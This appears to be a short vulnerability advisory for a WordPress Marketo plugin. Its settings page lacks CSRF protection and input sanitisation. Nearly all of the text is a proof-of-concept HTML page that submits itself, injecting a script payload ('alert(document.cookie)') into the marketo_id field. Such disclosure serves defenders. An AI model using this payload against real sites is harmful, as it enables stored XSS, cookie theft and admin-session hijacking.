Lack of CSRF checks and sanitisation on the plugin’s settings page could allow XSS attacks via CSRF.
<html>
<form action="https://[WP]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
<input type="text" name="marketo_save" value="true">
<input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>">
<input type="text" name="marketo[marketo_base_url]" value="">
<input type="text" name="marketo[user_id]" value="">
<input type="text" name="marketo[end_point]" value="">
<input type="text" name="marketo[secret]" value="">
<input type="text" name="marketo[popout_title]" value="">
<input type="text" name="marketo[popout_tabtext]" value="">
<input type="text" name="marketo[popout_snippet]" value="">
<input type="text" name="marketo[popout_form]" value="">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</html>